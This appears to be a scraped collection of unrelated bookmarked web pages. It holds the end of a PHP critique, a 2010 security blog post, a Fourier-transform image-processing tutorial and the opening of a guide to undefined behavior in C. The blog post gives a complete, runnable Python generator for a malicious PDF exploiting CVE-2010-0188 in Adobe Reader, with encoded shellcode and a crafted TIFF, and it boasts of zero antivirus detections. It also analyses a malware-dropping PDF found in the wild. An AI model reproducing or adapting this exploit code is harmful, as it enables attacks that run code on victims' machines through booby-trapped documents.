  * All the `addslashes`, `stripslashes`, and other slashes-related nonsense are red herrings that don’t help anything.
  * There is, as far as I can tell, no way to safely spawn a process. You can ONLY execute a string via the shell. Your options are to escape like crazy and hope the default shell uses the right escaping, or `pcntl_fork` and `pcntl_exec` _manually_.
  * Both `escapeshellcmd` and `escapeshellarg` exist with roughly similar descriptions. Note that on Windows, `escapeshellarg` does not work \(because it assumes Bourne shell semantics\), and `escapeshellcmd` just replaces a bunch of punctuation with spaces because nobody can figure out Windows cmd escaping \(which may silently wreck whatever you’re trying to do\).
  * The original built-in MySQL bindings, still widely-used, have no way to create prepared statements.

To this day, the PHP documentation on SQL injection recommends batty practices
like type-checking, using `sprintf` and `is_numeric`, manually using
`mysql_real_escape_string` everywhere, or manually using `addslashes`
everywhere \(which “may be useful”\!\). There is no mention of PDO or
paramaterization, except in the user comments. I complained about this very
specifically _to a PHP dev_ at least two years ago, he was alarmed, and the
page has never changed.

#### Insecure-by-default

  * `register_globals`. It’s been off by default for a while by now, and it’s gone in 5.4. I don’t care. This is an _embarrassment_.
  * `include` accepting HTTP URLs. Likewise.
  * Magic quotes. So close to secure-by-default, and yet so far from understanding the concept at all. And, likewise.

#### Core

The PHP interpreter itself has had some _fascinating_ security problems.

  * In 2007 the interpreter had an integer overflow vulnerability. The fix started with `if (size > INT_MAX) return NULL;` and went downhill from there. \(For those not down with the C: `INT_MAX` is the biggest integer that will fit in a variable, ever. I hope you can figure out the rest from there.\)
  * More recently, PHP 5.3.7 managed to include a `crypt()` function that would, in effect, let anyone log in with any password.
  * PHP 5.4’s dev server is vulnerable to a denial of service, because it takes the `Content-Length` header \(which anyone can set to anything\) and tries to allocate that much memory. This is a bad idea.

I could dig up more but the point isn’t that there are X many
exploits—software has bugs, it happens, whatever. The _nature_ of these is
horrifying. And I didn’t seek these out; they just happened to land on my
doorstep in the last few months.

## Conclusion

Some commentary has rightfully pointed out that I don’t have a conclusion.
And, well, I don’t have a conclusion. If you got all the way down here, I
assumed you agreed with me before you started :\)

If you only know PHP and you’re curious to learn something else, give the
Python tutorial a whirl and try Flask for the web stuff. \(I’m not a huge fan
of its template language, but it does the job.\) It breaks apart the pieces of
your app, but they’re still the same pieces and should look familiar enough. I
might write a real post about this later; a whirlwind introduction to an
entire language and web stack doesn’t belong down here.

Later or for bigger projects you may want Pyramid, which is medium-level, or
Django, which is a complex monstrosity that works well for building sites like
Django’s.

If you’re not a developer at all but still read this for some reason, I will
not be happy until everyone on the planet has gone through Learn Python The
Hard Way so go do that.

There’s also Ruby with Rails and some competitors I’ve never used, and Perl is
still alive and kicking with Catalyst. Read things, learn things, build
things, go nuts.

## Credits

Thanks to the following for inspiration:

  * PHP turtles
  * PHP sadness
  * PHP WTF
  * YourLanguageSucks
  * PHP in contrast to Perl
  * Pi’s dense, angry, inspirational rant
  * PHP is not an acceptable COBOL
  * the PHP documentation
  * a ton of PHP fanatics and PHP counter-fanatics
  * and, of course, Rasmus Lerdorf for his wild misunderstanding of most of Perl

Let me know if you have any additions, or if I’m \(factually\!\) wrong about
something.

# BugiX - Security Research

**Created:**| _3/19/2010 3:43:23 AM_  
---|---  
**Updated:**| _3/19/2010 3:43:35 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing Malware-analysis awesome_  
  

### CVE-2010-0188 Adobe Working Exploit

Exploit works with Adobe Javascript disabled.  
Tested : successfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows
XP\(SP2,SP3 any languages\) also works with Adobe browser plugin.  
  
Sample Exploit \- Pdf file size ~2.3Kb.  
Virustotal scan result of exploit 0/42 - virustotal.com.  
  
Update: March 17, 2010  
Chris Hadnagy aka loganWHD from www.social-engineer.org created nice video
about active exploitation this POC.  
thnx to him.  
  
Source code CVE-2010-0188.py with calc.exe exec shellcode.  
\------------------------------------------------------------------------------------------  
\_\_doc\_\_='''  
Title: Adobe PDF LibTiff Integer Overflow Code Execution.  
Product: Adobe Acrobat Reader  
Version: 8.0 - 8.2, 9.0 - 9.3  
CVE: 2010-0188  
Author: villy \(villys777 at gmail.com\)  
Site: http://bugix-security.blogspot.com/  
Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP \(SP2,
SP3\)  
  
'''  
import sys  
import base64  
import struct  
import zlib  
import StringIO  
  
SHELLCODE\_OFFSET=1500  
TIFF\_OFSET=0x2038  
  
\# windows/exec - 227 bytes  
\# http://www.metasploit.com  
\# Encoder: x86/shikata\_ga\_nai  
\# EXITFUNC=process, CMD=calc.exe  
buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"  
buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"  
buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"  
buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"  
buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"  
buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"  
buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"  
buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"  
buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"  
buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"  
buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"  
buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"  
buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"  
buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"  
buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"  
buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"  
buf += "\x09\xc1\x5f\x00"  
  
class CVE20100188Exploit:  
def \_\_init\_\_\(self,shellcode\):  
self.shellcode = shellcode  
self.tiff64=base64.b64encode\(self.gen\_tiff\(\)\)  
  
def gen\_tiff\(self\):  
tiff = '\x49\x49\x2a\x00'  
tiff += struct.pack\("<L", TIFF\_OFSET\)  
  
tiff += '\x90' \* \(SHELLCODE\_OFFSET\)  
tiff += self.shellcode  
tiff += '\x90' \* \(TIFF\_OFSET - 8 - len\(buf\) - SHELLCODE\_OFFSET\)  
  
tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"  
tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"  
tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"  
tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"  
tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"  
tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"  
tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"  
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"  
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"  
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"  
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"  
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"  
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"  
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"  
tiff += "\x00\x07"  
return tiff  
  
  
def gen\_xml\(self\):  
xml= '''<?xml version="1.0" encoding="UTF-8" ?>  
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">  
<config xmlns="http://www.xfa.org/schema/xci/1.0/">  
<present>  
<pdf>  
<version>1.65</version>  
<interactive>1</interactive>  
<linearized>1</linearized>  
</pdf>  
<xdp>  
<packets>\*</packets>  
</xdp>  
<destination>pdf</destination>  
</present>  
</config>  
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-
template/2.4/">  
<subform name="topmostSubform" layout="tb" locale="en\_US">  
<pageSet>  
<pageArea id="PageArea1" name="PageArea1">  
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />  
<medium short="612pt" long="792pt" stock="custom" />  
</pageArea>  
</pageSet>  
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">  
<break before="pageArea" beforeTarget="\#PageArea1" />  
<bind match="none" />  
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">  
<ui>  
<imageEdit />  
</ui>  
</field>  
<?templateDesigner expand 1?>  
</subform>  
<?templateDesigner expand 1?>  
</subform>  
<?templateDesigner FormTargetVersion 24?>  
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1,
crosshairs:0?>  
<?templateDesigner Zoom 94?>  
</template>  
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">  
<xfa:data>  
<topmostSubform>  
<ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64
+'''</ImageField1>  
</topmostSubform>  
</xfa:data>  
</xfa:datasets>  
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1"
change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1"
contentCopy="1" accessibleContent="1" metadata="1" />  
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4="
xmlns="http://www.xfa.org/schema/xfa-form/2.8/">  
<subform name="topmostSubform">  
<instanceManager name="\_Page1" />  
<subform name="Page1">  
<field name="ImageField1" />  
</subform>  
<pageSet>  
<pageArea name="PageArea1" />  
</pageSet>  
</subform>  
</form>  
</xdp:xdp>  
  
'''  
return xml  
  
def gen\_pdf\(self\):  
xml = zlib.compress\(self.gen\_xml\(\)\)  
pdf='''%PDF-1.6  
1 0 obj  
<</Filter /FlateDecode/Length ''' + str\(len\(xml\)\) + '''/Type
/EmbeddedFile>>  
stream  
''' + xml+'''  
endstream  
endobj  
2 0 obj  
<</V \(\) /Kids \[3 0 R\] /T \(topmostSubform\[0\]\) >>  
endobj  
3 0 obj  
<</Parent 2 0 R /Kids \[4 0 R\] /T \(Page1\[0\]\)>>  
endobj  
4 0 obj  
<</MK <</IF <</A \[0.0 1.0\]>>/TP 1>>/P 5 0 R/FT /Btn/TU \(ImageField1\)/Ff
65536/Parent 3 0 R/F 4/DA \(/CourierStd 10 Tf 0 g\)/Subtype /Widget/Type
/Annot/T \(ImageField1\[0\]\)/Rect \[107.385 705.147 188.385 709.087\]>>  
endobj  
5 0 obj  
<</Rotate 0 /CropBox \[0.0 0.0 612.0 792.0\]/MediaBox \[0.0 0.0 612.0
792.0\]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>  
endobj  
6 0 obj  
<</Kids \[5 0 R\]/Type /Pages/Count 1>>  
endobj  
7 0 obj  
<</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang \(en-
us\)/AcroForm 8 0 R/Type /Catalog>>  
endobj  
8 0 obj  
<</DA \(/Helv 0 Tf 0 g \)/XFA \[\(template\) 1 0 R\]/Fields \[2 0 R\]>>  
endobj xref  
trailer  
<</Root 7 0 R/Size 9>>  
startxref  
14765  
%%EOF'''  
return pdf  
  
  
if \_\_name\_\_=="\_\_main\_\_":  
print \_\_doc\_\_  
if len\(sys.argv\) \!= 2:  
print "Usage: %s \[output.pdf\]" % sys.argv\[0\]  
  
print "Creating Exploit to %s\n"% sys.argv\[1\]  
exploit=CVE20100188Exploit\(buf\)  
f = open\(sys.argv\[1\],mode='wb'\)  
f.write\(exploit.gen\_pdf\(\)\)  
f.close\(\)  
print "\[+\] done \!"  
  
\------------------------------------------------------------------------------------------  

Posted by villy

Labels: CVE-2010-0188, Exploits

## Friday, March 12, 2010

### CVE-2010-0188 - Adobe Pdf libtiff exploits analysis

Please see some of my research on Mila's Contagio Dump blog.  
  
Part 1. invitation.pdf  
Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows
XP \(SP2, SP3\) but didn't work on Windows Vista and Windows 7.  
  
This pdf can be easily unpacked with pdftk or pdf-parser.py. It is using
CVE-2006-3459 libtiff vulnerability, let look at tiff files.  
  
<img src='img/Temp2_1191.jpg' />  
  
At the end of the file we see integer overflow, you can also see unnecessary
data referencing to like /bin/sh /bin/id , this is linux shellcode to execute
/bin/id, i think it is because they used the following exploit from Security
Focus, and did not change the shellcode.  
  
However, the main shellcode is on the top of the file:  
  
<img src='img/Temp2_1190.jpg' />  
  
I disassembled the shellcode and it's searching in memory for
0x4656434b04068919,  
and then for second 0x4b614b6106118119  
  
<img src='img/Temp2_1194.jpg' />  
  
The xored file is located between these dwords. The shellcode
spawnsc:\adobe\_update.exe \(10608 bytes\) , c:\data.exe \(32768
bytes\),c:\data.bin\(91756 bytes\) - this is a legitimate pdf file.  
  
Decompiled shellcode is available here .  
  
The dexored embeded data looks like this:  
<img src='img/Temp2_1192.jpg' />In the beginning of there file there are three
dwords, in which the size of generated files is located, followed by the three
files together: adobe\_updater.exe - this file executess c:\data.exe \(32768
bytes\),c:\data.bin\(91756 bytes\) and self deletes after that. \( Virustotal
scan result \)  
  
Part 2. Another PDF for 8.x  
This exploit works on Adobe Reader 8.1.2, posibly on all 8.x.  
It used ret code 0x0c0c0c0c, and heap spray technique to execute shellcode  
<img src='img/Temp2_1189.jpg' />  

[code]

    See below deobfuscated javascript for heap spray:
    
[/code]

  
<img src='img/Temp2_1193.jpg' />

Posted by villy

Labels: CVE-2010-0188

# Introduction to the Fourier Transform

**Created:**| _11/20/2011 6:32:06 PM_  
---|---  
**Updated:**| _11/20/2011 6:32:06 PM_  
**Author:**| __  
**Tags:**| _visualization DSP math_  
  

# INTRODUCTION TO FOURIER TRANSFORMS FOR IMAGE PROCESSING

##  BASIS FUNCTIONS:

The Fourier Transform \( in this case, the 2D Fourier Transform \) is the
series expansion of an image function \( over the 2D space domain \) in terms
of "cosine" image \(orthonormal\) basis functions.

The definitons of the transform \(to expansion coefficients\) and the inverse
transform are given below:

[code]

    	F(u,v) = SUM{ f(x,y)*exp(-j*2*pi*(u*x+v*y)/N) }
        and
    	f(x,y) = SUM{ F(u,v)*exp(+j*2*pi*(u*x+v*y)/N) }
    
        where u = 0,1,2,...,N-1 and v = 0,1,2,...,N-1
    	  x = 0,1,2,...,N-1 and y = 0,1,2,...,N-1
    	  j = SQRT( -1 )
    	  and SUM means double summation  over proper
    	  x,y or u,v ranges
    
[/code]

First we will investigate the "basis" functions for the Fourier Transform
\(FT\). The FT tries to represent all images as a summation of cosine-like
images. Therefore images that are pure cosines have particularly simple FTs.

<img src='img/Temp2_4597.gif' />  
---  
This shows 2 images with their Fourier Transforms directly underneath. The
images are a pure horizontal cosine of 8 cycles and a pure vertical cosine of
32 cycles. Notice that the FT for each just has a single component,
represented by 2 bright spots symmetrically placed about the center of the FT
image. The center of the image is the origin of the frequency coordinate
system. The u-axis runs left to right through the center and represents the
horizontal component of frequency. The v-axis runs bottom to top through the
center and represents the vertical component of frequency. In both cases there
is a dot at the center that represents the \(0,0\) frequency term or average
value of the image. Images usually have a large average value \(like 128\) and
lots of low frequency information so FT images usually have a bright blob of
components near the center. Notice that high frequencies in the vertical
direction will cause bright dots away from the center in the vertical
direction. And that high frequencies in the horizontal direction will cause
bright dots away from the center in the horizontal direction.

<img src='img/Temp2_4600.gif' />  
---  
Here are 2 images of more general Fourier components. They are images of 2D
cosines with both horizontal and vertical components. The one on the left has
4 cycles horizontally and 16 cycles vertically. The one on the right has 32
cycles horizontally and 2 cycles vertically. \(Note: You see a gray band when
the function goes through gray = 128 which happens twice/cycle.\) You may
begin to notice there is a lot of symmetry. For all REAL \(as opposed to
IMAGINARY or COMPLEX\) images, the FT is symmetrical about the origin so the
1st and 3rd quadrants are the same and the 2nd and 4th quadrants are the same.
If the image is symmetrical about the x-axis \(as the cosine images are\)
4-fold symmetry results.

##  MAGNITUDE VS. PHASE:

Recall that the definition of the Fourier Transform is:

[code]

    	F(u,v) = SUM{ f(x,y)*exp(-j*2*pi*(u*x+v*y)/N) }
        and
    	f(x,y) = SUM{ F(u,v)*exp(+j*2*pi*(u*x+v*y)/N) }
    
        where u = 0,1,2,...,N-1 and v = 0,1,2,...,N-1
    	  x = 0,1,2,...,N-1 and y = 0,1,2,...,N-1
    	  and SUM means double summation  over proper
    	  x,y or u,v ranges
    
[/code]

Note that f\(x,y\) is the image and is REAL, but F\(u,v\) \(abbreviate as F\)
is the FT and is, in general, COMPLEX. Generally, F is represented by its
MAGNITUDE and PHASE rather that its REAL and IMAGINARY parts, where:

[code]

    	MAGNITUDE(F) = SQRT( REAL(F)^2+IMAGINARY(F)^2 )
    	PHASE(F) = ATAN( IMAGINARY(F)/REAL(F) )
    
[/code]

Briefly, the MAGNITUDE tells "how much" of a certain frequency component is
present and the PHASE tells "where" the frequency component is in the image.
To illustrate this consider the following.

<img src='img/Temp2_4598.gif' />  
---  
Note that the FT images we look at are just the MAGNITUDE images. The images
displayed are horizontal cosines of 8 cycles, differing only by the fact that
one is shifted laterally from the other by 1/2 cycle \(or by PI in phase\).
Note that both have the same FT MAGNITUDE image. The PHASE images would be
different, of course. We generally do not display PHASE images because most
people who see them shortly thereafter succomb to hallucinogenics or end up in
a Tibetan monastery. Nevertheless, it is wise to remember that when one looks
at a common FT image and thinks about "high" frequency power and "low"
frequency power, this is only the MAGNITUDE part of the FT.

By the way, you may have heard of the FFT and wondered if was different from
the FT. FFT stands for "Fast" Fourier Transform and is simply a fast algorithm
for computing the Fourier Transform.

##  ROTATION AND EDGE EFFECTS:

In general, rotation of the image results in equivalent rotation of its FT. To
see that this is true, we will take the FT of a simple cosine and also the FT
of a rotated version of the same function. The results can be seen by:

<img src='img/Temp2_4602.gif' />  
---  
At first, the results seem rather surprising. The horizontal cosine has its
normal, very simple FT. But the rotated cosine seems to have an FT that is
much more complicated, with strong diagonal components, and also strong "plus
sign" shaped horizontal and vertical components. The question is, where did
these horizontal and vertical components come from? The answer is that the FT
always treats an image as if it were part of a periodically replicated array
of identical images extending horizontally and vertically to infinity. And
there are strong edge effects between the neighbors of such a periodic array
as can be seen by:

<img src='img/Temp2_4594.gif' />  
---  
Thus, what we see as the FT in the "slant" image \(lower right of the image
before last\) is actually the combination of the actual FT of the cosine
function and that caused by the edge effects of looking at a finite part of
the image. These edge effects can be significantly reduced by "windowing" the
image with a function that slowly tapers off to a medium gray at the edge. The
result can be seen by:

<img src='img/Temp2_4590.gif' />  
---  
The windowed image is shown in the upper left. Its FT is shown in the lower
left. The non-windowed FT is shown in the upper right and the actual, true FT
of a cosine is shown in the lower right. These images are all scaled
differently and the comparison is only qualitative, but it can be seen that
the windowed image FT is much closer to the true FT and eliminates many of the
edge effects.

##  SOME IMAGE TRANSFORMS:

Now, with the above introduction, the best way to become familiar with Fourier
Transforms is to see lots of images and lots of their FTs. First, an
interesting pair of images, one sharp and clear, and the other blurred and
noisy.

<img src='img/Temp2_4604.gif' />  
---  
There are 2 images, goofy and the degraded goofy, with FTs below each. Notice
that both suffer from edge effects as evidenced by the strong vertical line
through the center. The major effect to notice is that in the transform of the
degraded goofy the high frequencies in the horizontal direction have been
significantly attenuated. This is due to the fact that the degraded image was
formed by smoothing only in the horizontal direction. Also, if you look
carefully you can see that the degraded goofy has a slightly larger background
noise level at high frequencies. This is difficult to see and perhaps not even
meaningful because the images are scaled differently, but if really there, it
is due to the random noise added to the degraded goofy. Notice also that it is
difficult to make much sense out of the low frequency information. This is
typical of real life images.

The next images show the effects of edges in images:

<img src='img/Temp2_4605.gif' />  
---  
Notice the strong periodic component, especially in the vertical direction for
the bricks image. Horizontal components appear closer together in the FT. In
the blocks image, notice a bright line going to high frequencies perpendicular
to the strong edges in the image. Anytime an image has a strong-contrast,
sharp edge the gray values must change very rapidly. It takes lots of high
frequency power to follow such an edge so there is usually such a line in its
magnitude spectrum.

Now lets look at a bunch of different shapes and their FTs.

<img src='img/Temp2_4599.gif' />  
---  
Notice that the letters have quite different FTs, especially at the lower
frequencies. The FTs also tend to have bright lines that are perpendicular to
lines in the original letter. If the letter has circular segments, then so
does the FT.

Now lets look at some collections of similar objects:

<img src='img/Temp2_4595.gif' />  
---  
Notice the concentric ring structure in the FT of the white pellets image. It
is due to each individual pellet. That is, if we took the FT of just one
pellet, we would still get this pattern. Remember, we are looking only at the
magnitude spectrum. The fact that there are many pellets and information about
exactly where each one is is contained mostly in the phase. The coffee beans
have less symmetry and are more variably colored so they do not show the same
ring structure. You may be able to detect a faint "halo" in the coffee FT.
What do you think this is from?

<img src='img/Temp2_4606.gif' />  
---  
Here are our first truly general images. Notice there is very little
structure. You can see a top left to bottom right slanting line in the girl
image FT. It is probably due to the edge between her hat and her hair. There
are also some small edge effects in both images. The mandril image appears to
have more high frequency power, probably due to the hair.

<img src='img/Temp2_4603.gif' />  
---  
The seafan image has a lot of little holes that are about the same size and
somewhat randomly oriented. The size of the holes is about 2 pixels wide so
that corresponds to frequency components about 1/2 way out to the maximum. The
strong horizontal components in the lake image is probably due to the tree
trunk edges.

Now, here is your first quiz. Consider an image that is all black except for a
single pixel wide stripe from the top left to the bottom right. What is its
FT? Also, consider an image that is totally random. That is, every pixel is
some random value, independent of all other pixels. What is its FT?

<img src='img/Temp2_4601.gif' />  
---  
Do you believe it? If not, you can check it yourself. By the way, notice the
single bright dot in the middle of the noise FT image. Why is it there? Why
does the noise FT look dark gray?

##  SOME FILTERS:

Now we start to illustrate the use of some filters on the girl image. The
first is a lowpass filter. The upper left is the original image. The lower
left is produced by:

[code]

    	fft2d 128 < girlimage > girlfft
    	mag2d 128 < girlfft > girlmag
    
[/code]

The lower right is then produced by:

[code]

    	fftfilt 128 low ideal 50 < girlfft > lpgirlfft
    	mag2d 128 < lpgirlfft > lpgirlmag
    
[/code]

Finally, the upper right is produced by:

[code]

    	ifft2d 128 < lpgirlfft > lpgirl
    
[/code]

To see the results:

<img src='img/Temp2_4589.gif' />  
---  
The left side of the image we have seen before. In the lower right, notice how
sharply the high frequencies are cut off by the "ideal" lowpass filter. Notice
also that not very much power is being thrown away beyond the circle that is
cut off. In the upper right, the reconstructed image is obviously blurrier due
to the loss of high frequencies. Overall contrast is still pretty good due to
that fact that not too much power was thrown away. Notice also that there are
obvious "ringing" artifacts in the reconstructed image. This is due to the
very sharp cutoff of the "ideal" filter. A Butterworth or Exponential filter
with reasonably low order would not cause these.

Now we will do a highpass filter. The following image is produced in the same
way as the previous one except:

[code]

    	fftfilt 128 high butter 50 < girlfft > hpgirlfft
    
[/code]

In other words, a butterworth filter of 1st order is used.

<img src='img/Temp2_4592.gif' />  
---  
Notice in the lower right that this filter does not cut off sharply at the 50%
point as the lowpass did. However, the center bright spot, which accounts for
most of the power in the image, is clearly gone. The image in the upper right,
which looks totally black, in fact is not totally black. If you use the
colormap capability of "dym" to stretch the gray values from 0-20 out over the
entire range, you can see that this highpass filter has preserved the image
information where there are very rapid changes in gray level. Such a process
is frequently what is desired in an edge detector. However, it is not an
improvement in the image. There are 2 problems. First, it is too dark. This
can be fixed by rescaling or re-contrast- stretching the image after
filtering. This is commonly done and is easy. Second, and harder, is the fact
that too much of the low frequency tonal information is gone.

Image sharpening requires a "sharpening" filter or high frequency emphasis
filter. This kind of filter preserves some of the low frequency information
but relatively boosts the higher frequencies. To do such a thing, we will
construct our own filter which will be piecewise-linear. The filter will be
circularly symmetrical and will have coefficients as follows:

[code]

    	  0 	0.5
    	 96	4.0
    	127 	4.0
    
[/code]

In other words, Fourier coefficients of frequency-distance 0 from the origin
will be multiplied by 0.5. As you go away from the origin or zero frequency,
out to frequency-distance 96, the multiplier will be interploated between 0.5
and 4.0. From then outward, the multiplier will be 4.0. So higher frequency
coefficients are multiplied by values greater than 1.0 and lower frequency
coefficients are multiplied by values less thatn 1.0. The overall net effect
on the image power is that it is unchanged. The above values are in a file
called "filter\_coeffs". To apply the filter, the following steps are carried
out:

[code]

    	filttabler < filter_coeffs > filter_file
    	fftfilt 128 file filterfile < girlfft > mfgirlfft
    
[/code]

The rest of the image is constructed as before. To see the result:

<img src='img/Temp2_4596.gif' />  
---  
Notice the relative brightness at high frequencies in the lower right image.
Which upper image is sharper? Which upper image looks better? Portraits are
one of the few contradictions to the general principal that sharper is better.

Filtering can also be used to reduce noise. It is particularly effective when
the noise is confined to just a few frequencies:

<img src='img/Temp2_4593.gif' />  
---  
The image on the upper left is goofy with a superimposed cosine added to it,
representing noise. In the lower left, notice the strong cosine "dots" just to
the left and right of the origin. In the lower right, these "dots" have been
removed \( I actually did it with the "trace" capability in dym \). The
resulting magnitude file is then used with the "filter" command to filter the
Fourier coefficients. The file of coefficients is then inverse FT'd to get the
upper right image. The cosine "noise" is gone.

Life is not always this easy as is shown in the next example:

<img src='img/Temp2_4591.gif' />  
---  
In this case, a grid has been placed over goofy. The lower left shows the
resulting FT. Notice that the grid is quite sharp so it has lots of high
frequencies so its impact on the frequency domain is very spread out. Dym was
again used to "paint" out the grid frequencies as much as possible. The right
half of the lower right image is not painted because it is the symmetric
reflection of the left half and is not used by the filter.

[code]

    YOUR ASSIGNMENT: (SHOULD YOU CHOOSE TO ACCEPT IT)
    
    (1) Pick an image.
    (2) FFT it and find the magnitude spectrum.
    	see man for fft2d and mag2d
    (3) Do something to the spectrum or the fft.
    	ex:	filter
    		fftfilt
    		something like:
    			cm
    			double
    			multiply by alternating +1,-1
    			take phase only
    			take magnitude only
    (4) Reconstruct an image by inverse fft.
    	see man for ifft2d
    (5) Put the results together like the above images using "group"
    	see man for group
    (6) Explain your results (1-2 pages).
        More credit will be given to the imagination of what you do than
        to the correctness of your explanation.
    
[/code]

# Embedded in Academia : A Guide to Undefined Behavior in C and C++, Part 1

**Created:**| _10/24/2011 11:32:40 AM_  
---|---  
**Updated:**| _10/24/2011 11:32:40 AM_  
**Author:**| __  
**Tags:**| _C++ compiler-building programming_  
  

## A Guide to Undefined Behavior in C and C++, Part 1

Also see Part 2 and Part 3.

Programming languages typically make a distinction between normal program
actions and erroneous actions. For Turing-complete languages we cannot
reliably decide offline whether a program has the potential to execute an
error; we have to just run it and see.

In a _safe_ programming language, errors are trapped as they happen. Java, for
example, is largely safe via its exception system. In an _unsafe_ programming
language, errors are not trapped. Rather, after executing an erroneous
operation the program keeps going, but in a silently faulty way that may have
observable consequences later on. Luca Cardelli’s article on type systems has
a nice clear introduction to these issues. C and C++ are unsafe in a strong
sense: executing an erroneous operation causes the entire program to be
meaningless, as opposed to just the erroneous operation having an
unpredictable result. In these languages erroneous operations are said to have
_undefined behavior_.

The C FAQ defines “undefined behavior” like this:

> Anything at all can happen; the Standard imposes no requirements. The
> program may fail to compile, or it may execute incorrectly \(either crashing
> or silently generating incorrect results\), or it may fortuitously do
> exactly what the programmer intended.
This is a good summary. Pretty much every C and C++ programmer understands
that accessing a null pointer and dividing by zero are erroneous actions. On
the other hand, the full implications of undefined behavior and its
interactions with aggressive compilers are not well-appreciated. This post
explores these topics.

# A Model for Undefined Behavior

For now, we can ignore the existence of compilers. There is only the “C
implementation” which — if the implementation conforms to the C standard —
acts the same as the “C abstract machine” when executing a conforming program.
The C abstract machine is a simple interpreter for C that is described in the
C standard. We can use it to determine the meaning of any C program.

The execution of a program consists of simple steps such as adding two numbers
or jumping to a label. If every step in the execution of a program has defined
behavior, then the entire execution is well-defined. Note that even well-
defined executions may not have a unique result due to unspecified and
